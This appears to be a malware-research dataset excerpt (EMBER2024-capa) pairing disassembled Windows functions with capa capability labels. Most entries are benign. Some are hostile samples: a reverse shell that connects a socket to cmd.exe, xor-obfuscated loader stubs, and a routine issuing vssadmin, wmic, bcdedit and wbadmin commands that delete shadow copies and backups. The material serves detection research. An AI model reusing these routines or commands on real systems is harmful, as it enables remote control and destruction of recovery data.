joyce8/EMBER2024-capa huggingface dataset:
Function at 0x52ac80
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x56af68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x118]
test eax, eax
jne 0x52ad30
mov eax, dword [0xa1b6e0]
push esi
mov dword [esp + 8], eax
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.00558768
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.005587b7
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.00558714
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x52ad17
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x52ad17
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x118], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.00558338
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x52de30
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x56b3f0
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x52dfd7
mov ecx, dword [0xa1b6e0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x52df2c
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.0052cb50
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.00558471
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.00558338
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0xa19300
call fcn.005583a6
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.0052cf10
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.00558471
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.00558338
lea ecx, [esp + 0xc]
call fcn.0055884c
mov ecx, dword [esp + 0xc]
push 0xa19d3c
push ecx
call fcn.00543d54
add esp, 8
test eax, eax
je 0x52df54
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x52de8d
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.00558338
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.00558338
jmp 0x52dfdb
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.0052dbd0
test eax, eax
push 0
je 0x52dfbf
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.0052c270
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x52dfa5
cmp eax, 0x64
jg 0x52df93
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x52df30
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x52df30
cmp eax, 0x64
jge 0x52df2c
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x52df30
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.0052c270
mov esi, eax
jmp 0x52df30
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x52dfe5
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x535cf0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x56b72b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
lea eax, [esp + 0x14]
push esi
xor esi, esi
push eax
push 0x104
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
jae 0x535dd0
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push esi
push 0xa1b164
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp eax, esi
je 0x535dd0
lea eax, [esp + 0x18]
push 0x1001
push eax
lea ecx, [esp + 0xc]
call fcn.00558a2e
mov dword [esp + 0x128], esi
mov esi, dword [esp + 0x134]
push str.lt_
push 0xa1b158
mov ecx, esi
call fcn.005551f7
push str.gt_
push 0xa1b14c
mov ecx, esi
call fcn.005551f7
mov esi, dword [esi]
lea ecx, [esp + 4]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00558ce2
lea ecx, [esp + 4]
call fcn.00558da6
mov esi, dword [esp + 0x130]
lea ecx, [esp + 0x18]
push ecx
mov ecx, esi
call fcn.005583a6
lea ecx, [esp + 4]
mov dword [esp + 0x128], 0xffffffff
call fcn.00558ace
jmp 0x535de3
mov esi, dword [esp + 0x130]
push 0xa53bec
mov ecx, esi
call fcn.005583a6
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x128
ret

Function at 0x536f30
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x536f96
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x536f96
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x536f77
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x537ad0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00537c20
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x537af0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x537ad1
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00537c20
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x537af0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x537b20
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x537b77
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x537b8d
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.00537bb0
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x537bb0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x537c40
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x537c89
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x538100
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x56bab0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00537cb0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00537d30
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00537d30
lea ecx, [esi + 0xc]
call fcn.005582c3
lea ecx, [esi + 0x10]
call fcn.005582c3
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0053a560
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0053a560
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0053a560
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00558338
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00558338
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x538da8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x56bcd8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x538db8
call fcn.005392d0
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x538e9b
cmp byte [edi], 0
je 0x538e9b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x538ddd
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00537ad0
test eax, eax
jne 0x538dfd
push 0xa1b400
lea ecx, [esi + 0x38]
call fcn.005584c1
jmp 0x538e9b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00537b20
test eax, eax
jne 0x538e2c
mov ecx, esi
call fcn.00537c20
push edi
add esi, 0x38
push 0xa1b3dc
push esi
call fcn.0055586a
add esp, 0xc
jmp 0x538e9b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.00539b50
test eax, eax
je 0x538e94
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00538f70
test eax, eax
jne 0x538eb0
push edi
lea eax, [esi + 0x38]
push 0xa1b3b8
push eax
call fcn.0055586a
add esp, 0xc
mov ecx, esi
call fcn.005392d0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x538f58
mov ecx, dword [0xa1b6e0]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0055586a
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00537bd0
test eax, eax
jne 0x538f1a
push 0xa1b39c
lea ecx, [esi + 0x38]
call fcn.005584c1
jmp 0x538f2a
push 0xfa
mov ecx, esi
call fcn.00539b50
test eax, eax
jne 0x538f47
mov ecx, esi
call fcn.005392d0
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00558338
jmp 0x538e9b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00558338
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x55a82f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x55a867
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005587df
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005587b7
jmp 0x55a873
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x55bf1d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x55bf5f
call fcn.00561fdd
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x55bf5f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x55bf56
xor eax, eax
jmp 0x55bf67
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0055bf6d
pop edi
pop esi
pop ebx
ret 4

Function at 0x56250d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x56253b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x562559
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00562473
jmp 0x562559
mov eax, dword [esi + 0x14]
test eax, eax
je 0x562559
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00562473
test edi, edi
mov eax, edi
jne 0x562543
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x1a8]
lea esi, [ebp - 0x1ec]
push ebx
sub esp, 0x23c
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.dll_WSAStartup
push eax
push eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_WSASocketA
sub esp, 0x18
mov ebx, eax
mov dword [esp], str.127.0.0.1
call 0x401148
mov word [ebp - 0x20c], 2
push edx
mov dword [ebp - 0x208], eax
mov dword [esp], 0x115c
call sub.WS2_32.dll_htons
push ecx
mov word [ebp - 0x20a], ax
lea eax, [ebp - 0x20c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.WS2_32.dll_connect
lea edx, [ebp - 0x1e8]
xor eax, eax
mov ecx, 0xd
mov edi, edx
sub esp, 0xc
mov dword [ebp - 0x1ec], 0x44
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1fc]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov dword [ebp - 0x1c0], 0x100
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1b4], ebx
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
jmp dword [sym.imp.WS2_32.dll_inet_addr]
Function at 0x10014100
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001410f
pop dword [ebp - 0x44]
mov eax, 0x1a30b521
sub eax, 0xa2f7412
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x15f8f004
add dword [ebp - 0x54], 0x38595547
mov dword [ebp - 0x50], 0x776a478a
add dword [ebp - 0x50], 0xbac904bb
mov dword [ebp - 0x4c], 0x404939d7
sub dword [ebp - 0x4c], 0xf3fcf5a9
mov dword [ebp - 0x48], 0x93e19a93
sub dword [ebp - 0x48], 0x93e19a93
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x376d184f
sub dword [ebp - 0x54], 0xc2faaef9
mov dword [ebp - 0x50], 0xa49e8520
sub dword [ebp - 0x50], 0x633223ab
mov dword [ebp - 0x4c], 0x2d06638a
sub dword [ebp - 0x4c], 0xc996f71e
mov dword [ebp - 0x48], 0xecb2bb22
add dword [ebp - 0x48], 0x134d44de
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xae5a0943
sub eax, 0x9e58790b
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x36c46
push 0
call eax
mov ecx, 0x43b7c398
sub ecx, 0x43b77ae3
mov edi, eax
mov edx, 0x10022800
add edx, dword [ebp - 0x44]
mov esi, 0xc94cfa12
xor dword [ebp - 0x2c], eax
mov ebx, dword [edx]
sub dword [ebp - 0x10], ebx
xor ebx, esi
mov dword [edi], ebx
sub dword [ebp - 4], ebx
add edi, 0x79784045
sub edi, 0x79784041
add edx, 0xcf8183d3
add edx, 0x307e7c31
loop 0x10014220
add eax, 0x115a7
mov ebx, eax
add eax, 0x6b65b412
sub eax, 0x6b65b40d
mov ecx, 0xa948dd5d
add ecx, 0x66b722a3
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x100f882
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 4
pop eax
call fcn.0100a2d0
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100f8e8
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x101306c]
mov esi, dword [ebp - 0x40]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
lea edx, [esi - 1]
and ecx, 0x103
not edx
and edx, ebx
inc ecx
sub edx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffff1
add eax, 0x11
imul eax, esi
add eax, edi
cmp edx, eax
jae 0x100f8ec
xor eax, eax
jmp 0x100f8f9
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100fd45
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x10025e0
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100fd9d
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x1001a33
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100fd90
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x100fd9f
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4337b4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x433e98
call fcn.00433a78
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x433814
cmp eax, 0xffffffff
je 0x433814
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x43380d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x43380d
cmp edx, 0x10000000
jae 0x43380d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x43380a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x433880
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4338be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4338b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4338c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4338a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x433990
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x4339c1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4339c1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x4339c1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40604c], 1
mov dword [0x406050], 1
mov dword [0x406054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x4016c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x5c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
nop
leave
ret

Function at 0x401762
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], 8
mov dword [esp], str.vssadmin_Delete_Shadows__all__quiet
call sym._StartProcess
mov dword [esp + 4], 8
mov dword [esp], str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
call sym._StartProcess
mov dword [esp + 4], 8
mov dword [esp], str.bcdedit__set_default_recoveryenabled_no
call sym._StartProcess
mov dword [esp + 4], 8
mov dword [esp], str.wmic_shadowcopy_delete
call sym._StartProcess
mov dword [esp + 4], 8
mov dword [esp], str.wbadmin_delete_catalog__quiet
call sym._StartProcess
nop
leave
ret